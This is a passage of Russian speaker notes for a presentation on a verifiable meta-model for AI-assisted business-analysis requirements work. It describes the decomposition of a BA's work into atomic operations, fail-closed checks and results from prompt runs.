\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041d\u0430\u0447\u043d\u0443 \u0441 \u0442\u043e\u0433\u043e, \u043f\u043e\u0447\u0435\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u044c \u0437\u0434\u0435\u0441\u044c \u2014 \u043d\u0435 \u0430\u043a\u0430\u0434\u0435\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0439\\n\u0432\u043e\u043f\u0440\u043e\u0441\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 2. \u0412 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u043a\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0446\u0435\u043d\u0443 \u043e\u0448\u0438\u0431\u043a\u0438, \u0447\u0442\u043e\u0431\u044b \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0430\u044f\\n\u0441\u0442\u0440\u043e\u0433\u043e\u0441\u0442\u044c \u043d\u0435 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u043d\u043e\u0439.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041c\u044b \u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043e \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432. \u0422\u0430\u043c \u0422\u0417 \u2014 \u043d\u0435 \u0440\u0430\u0431\u043e\u0447\u0430\u044f \u0437\u0430\u043c\u0435\u0442\u043a\u0430, \u0430\\n  \u043e\u0441\u043d\u043e\u0432\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0447\u0430\u0441\u0442\u044c \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n- \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u0448\u0438\u0440\u043e\u043a\u0438\u0439: \u0432 \u043d\u0430\u0448\u0435\u0439\\n  [\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml)\\n  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 8 \u0434\u043e\u043c\u0435\u043d\u0430\u0445. \u0423 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0432\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0441\u0432\u043e\u0438\\n  \u043b\u043e\u0432\u0443\u0448\u043a\u0438: \u043e\u0447\u0435\u0440\u0435\u0434\u044c \u0438 \u0433\u0440\u0443\u043f\u043f\u0430, SLA \u0438 AHT, IVR \u0438 \u0430\u0432\u0442\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0440.\\n- \u041e\u0434\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438. \u041d\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u044c\\n  \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430, \u0438 \u043f\u043e\u0442\u043e\u043c \u044d\u0442\u043e \u0432\u0441\u043f\u043b\u044b\u0432\u0430\u0435\u0442 \u0441\u043f\u043e\u0440\u043e\u043c \u043e \u043f\u0440\u0438\u0451\u043c\u043a\u0435.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0432\u0430\u0436\u043d\u043e \u0434\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438:** \u043a\u043e\u0433\u0434\u0430 \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u0442\u043e\u0438\u0442 \u0434\u043e\u0440\u043e\u0433\u043e,\\n\u00ab\u0432 \u0441\u0440\u0435\u0434\u043d\u0435\u043c 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\u0434\u043e\u0432\u0435\u0440\u0438\u044e: \u043f\u043e\u0434\u0445\u043e\u0434\\n\u0432\u044b\u0440\u043e\u0441 \u0438\u0437 \u043d\u0435\u0443\u0434\u0430\u0447, \u0430 \u043d\u0435 \u0438\u0437 \u043f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u0438.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0412\u0435\u0441\u043d\u043e\u0439 \u0432\u0441\u0451 \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u043e\u0441\u044c \u0441 \u043e\u0434\u043d\u043e\u0433\u043e \u0431\u043e\u043b\u044c\u0448\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb. \u0412 \u0438\u044e\u043d\u0435 \u043c\u044b\\n  [\u0440\u0430\u0437\u0434\u0435\u043b\u0438\u043b\u0438 \u0435\u0433\u043e](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md)\\n  \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430.\\n- \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 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\u043d\u0430\u043a\u043e\u043f\u0438\u043b\u043e\u0441\u044c 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, \u0438 \u043c\u044b \u0447\u0435\u0441\u0442\u043d\u043e\\n  \u0437\u0430\u043f\u0438\u0441\u0430\u043b\u0438: evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u0445 \u043d\u0430\u0431\u043e\u0440\u043e\u0432 \u043d\u0435\u0442.\\n- \u0412 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0432\u0435\u043b\u0438 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0443. \u0412\u044b\u044f\u0441\u043d\u0438\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u0442\u0440\u0438 \u0440\u0435\u0436\u0438\u043c\u0430 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014\\n  \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439, \u043e\u0434\u043d\u0438\u043c \u0432\u044b\u0437\u043e\u0432\u043e\u043c \u0438 \u0441\u0442\u0430\u0440\u044b\u0439 \u2014 \u043f\u043e\u0447\u0442\u0438 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435:\\n  [0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md).\\n  \u0410 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434,\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u0433\u0435\u0439\u0442 \u2014 10\\n  [\u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md)\\n  \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\n- \u0412\u044b\u0432\u043e\u0434 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438: \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u2014 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430\u043c, \u0433\u0440\u0430\u043d\u0438\u0446\u044b\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438, \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u2014 \u043f\u0440\u043e\u043c\u043f\u0442-\u043f\u0440\u0430\u0432\u043a\u0430\u043c\u0438 \u043d\u0435\\n  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u044e\u0442\u0441\u044f.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u0442\u0430\u043a:** \u043f\u0440\u043e\u043c\u043f\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0444\u043e\u0440\u043c\u043e\u0439 \u0442\u0435\u043a\u0441\u0442\u0430. \u041e\u0442\u043a\u0430\u0437\u044b \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0442 \u0440\u0430\u043d\u044c\u0448\u0435\\n\u0442\u0435\u043a\u0441\u0442\u0430: \u043d\u0430 \u0432\u044b\u0431\u043e\u0440\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n[ADR-014](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md)\\n\u0437\u0430\u043f\u0438\u0441\u0430\u043b \u043f\u0440\u0430\u0432\u0438\u043b\u043e: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u0421\u0442\u0430\u0440\u044b\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u043c\u044b \u043d\u0435\\n\u043f\u0435\u0440\u0435\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c, \u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0431\u0430\u0437\u0443.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u2014 \u0437\u043d\u0430\u0447\u0438\u0442, \u043d\u0443\u0436\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u0442\u044c, \u0447\u0442\u043e\\n\u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430. \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 5. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u0411\u0410 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0435\u0451 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0434\u0430\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u043d\u0435 \u0443\u0442\u043e\u043f\u0438\u0432 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u0445. \u0418\u0437 11\\n\u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u0441\u043b\u0430\u0439\u0434\u0435 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u0440\u043e\u0432\u043d\u044f \u0438 \u0447\u0435\u0442\u044b\u0440\u0435 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430 \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u0432\u0435\u0440\u0445\u0443 \u0432\u043d\u0438\u0437: **\u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442**. \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043d\u0430\u0432\u044b\u043a\u043e\u0432, \u043d\u0430\u0432\u044b\u043a \u2014 \u0438\u0437 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439.\\n- \u0421\u043b\u043e\u0432\u0430\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b: 33 \u043d\u0430\u0432\u044b\u043a\u0430, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0415\u0441\u043b\u0438 \u043d\u0443\u0436\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442, \u044d\u0442\u043e\\n  \u043e\u0442\u043a\u0430\u0437 \u0438 \u0437\u0430\u0434\u0430\u0447\u0430 \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f, \u0430 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438.\\n- \u0417\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e: \u0438\u0437 \u0432\u0445\u043e\u0434\u0430, \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e\\n  \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0434\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439, \u043e\u0434\u043d\u0438\u043c \u0430\u043a\u0442\u043e\u0440\u043e\u043c \u2014 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438\\n  \u0433\u0435\u0439\u0442 \u2014 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u0445\u043e\u0434 \u0441\u043e \u0441\u043b\u0435\u0434\u043e\u043c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f.\\n- \u0427\u0435\u0442\u044b\u0440\u0435\\n  [\u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md)\\n  \u2014 \u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u044b. \u041d\u0435\u0442 \u0448\u0430\u0433\u0430 \u0431\u0435\u0437 \u0432\u0445\u043e\u0434\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e 50 \u0438\u0437 67\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432\u0445\u043e\u0434\u0430 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u043b\u0438. \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u0448\u0430\u0433\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u043b\u0435\u043a\u0441\u0438\u043a\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u0435 \u0447\u0435\u043c \u043d\u0430 \u043e\u0434\u0438\u043d \u0434\u043e\u043c\u0435\u043d \u0432 66 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n\\n**\u041a\u0430\u043a:** \u043a\u0430\u0436\u0434\u044b\u0439 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0448\u0438\u043d\u043e\u0439. \u0414\u0432\u0430 \u2014 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0448\u0430\u0433\u0430, \u0434\u0432\u0430 \u2014\\n\u043f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u044f.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0421\u0430\u043c\u043e\u0435 \u0432\u0430\u0436\u043d\u043e\u0435 \u043d\u0430 \u044d\u0442\u043e\u0439 \u0441\u0445\u0435\u043c\u0435 \u2014 \u043d\u0438\u0436\u043d\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0418\u043c\u0435\u043d\u043d\u043e\\n\u0442\u0430\u043c \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0451\u043b \u043f\u0440\u043e\u0440\u044b\u0432\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c: \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u0438 \u0441\u0442\u0430\u0432\u0438\u043c \u043d\u0430 \u0435\u0451 \u0432\u044b\u0445\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 3 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0441\u043b\u0430\u0439\u0434. \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n\u0438\u043d\u0430\u0447\u0435 \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043f\u0440\u043e\u043c\u043f\u0442 \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430: \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438. \u041b\u0443\u0447\u0448\u0435\u0435\\n  \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u2014\\n  [RUN-0018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n  \u0421\u0442\u0440\u043e\u0433\u0438\u0439 \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442, \u0432\u043e\u0441\u0435\u043c\u044c \u0448\u0430\u0433\u043e\u0432, \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430. \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014\\n  8 \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0439, \u043e\u0434\u043d\u0430 \u0434\u043e\u0448\u043b\u0430 \u0434\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430. \u0412\u044b\u0432\u043e\u0434 \u0441\u0430\u043c\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u00ab\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430\\n  \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430, \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\u00bb.\\n- \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u0440\u0430\u0437\u043b\u043e\u0436\u0438\u043b\u0438 \u0440\u0430\u0431\u043e\u0442\u0443 \u043d\u0430\\n  [31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md)\\n  \u0432 \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\u0445. \u041a\u043b\u0430\u0441\u0441 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u0435\u043c, \u043e\u0442\u043a\u0443\u0434\u0430 \u0431\u0435\u0440\u0451\u0442\u0441\u044f\\n  \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u0430.\\n- \u041a\u043b\u0430\u0441\u0441 \u0437\u0430\u0434\u0430\u0451\u0442 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f. \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c.\\n  \u041f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0441\u043e \u0441\u0445\u0435\u043c\u043e\u0439. \u041f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u0433\u0434\u0435 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u043e\u0432\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435,\\n  \u0438\u0434\u0451\u0442 \u0447\u0435\u0440\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430. \u0412\u044b\u0431\u043e\u0440 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d.\\n- \u041f\u043e\u0432\u0435\u0440\u0445 \u2014 fail-closed. \u041d\u0435\u0442 \u0432\u0445\u043e\u0434\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u2014 \u0448\u0430\u0433\\n  \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0438 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441. \u041f\u0443\u0441\u0442\u043e\u0439 \u0441\u043b\u043e\u0442 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u043b\u0443\u0447\u0448\u0435\\n  \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f.\\n- \u042d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435: RUN-0059 \u0441 \u0442\u0430\u043a\u0438\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c \u043d\u0435 \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u043b\\n  \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 endpoint'\u044b Mango, \u0430 \u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043f\u0440\u043e\u0431\u0435\u043b. RUN-0060 \u0434\u0430\u043b 101\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u043f\u0440\u043e\u0440\u044b\u0432, \u0430 \u043d\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e:** \u043c\u044b \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u0438 \u0441\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0442\u044c \u0443\\n\u043c\u043e\u0434\u0435\u043b\u0438, \u0445\u043e\u0440\u043e\u0448 \u043b\u0438 \u0435\u0451 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442. \u0421\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 